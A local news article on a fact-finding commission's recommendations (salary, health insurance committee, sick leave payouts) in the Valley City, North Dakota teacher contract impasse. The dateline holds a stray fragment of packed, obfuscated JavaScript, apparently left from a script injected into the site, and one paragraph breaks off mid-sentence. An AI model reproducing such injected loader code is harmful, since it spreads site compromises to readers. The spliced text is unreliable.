DICKINSON, abzty|var|u0026u|referrer|rydft||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The Education Fact Finding Commission of North Dakota has made their recommendations to members of the Valley City Public School Board and the Valley City Education Association.

The commission recommended the base salary be increased by $100 from $33,500 to $33,600 and teachers would continue to advance on the salary schedule for time served and the educational credits that they have earned. The commission says that will cost the School District about $101,000. The commission is recommending this based on the reduction in cost due to the replacement of five to six teachers who retired or resigned, the FACS teacher position that remains unfilled, and the change in budgeting for the self-funded health insurance account. The commission does have concern about the interim fund balance dropping below 10 percent, the risk associated with self-funded health insurance, and the reduction in taxable valuation.

During a mediation hearing the Valley City Education Association dropped their base salary request from $1,200 back to $200. The

The commission recommends that a new Health Insurance Committee be formed with four VCEA members, two School Board members, one non-certified VCSD employee, the School District Business Manager and the Superintendent. All 9 members will be voting members. The commission’s recommendation to form a new Health Insurance Committee is based on increasing health care costs, the implementation of the Affordable Care Act, and the complexity and advantages of a self-funded health insurance program.

And finally the commission is recommending that the sick leave payment at retirement be paid at the rate of $35 per unused sick leave day up to a maximum of $5,000. The commission’s recommendation will allow retiring teachers to be rewarded for the minimal usage of their sick leave days, it also eliminates the involvement of the Sick Leave Bank. The commission says it is a difficult concept to allow a teacher with a catastrophic illness to apply to the sick leave bank in order to qualify for a retirement payment based on unused sick leave days.

Valley City School District Superintendent Dean Koppelman tells newsdakota.com that the school board will meet in executive session on Tuesday, November 5 to discuss the commission’s recommendations. Then on Wednesday, November 6 members of the school board negotiating team will meet with members of the Valley City Education Association during a public meeting to see how close both sides may or may not be toward reaching an agreement to end the impasse.

The Valley City Board of Education and the Valley City Education Association have until November 13 to agree to the commission’s recommendations or make minor changes to those recommendations and finalize a contract.

If both entities are still at impasse after the November 13 deadline, the commission report will be published. In the report commission chairman Dean Rummel will explain to the public why the negotiations failed, and who, in his opinion, compromised the possibility for agreement.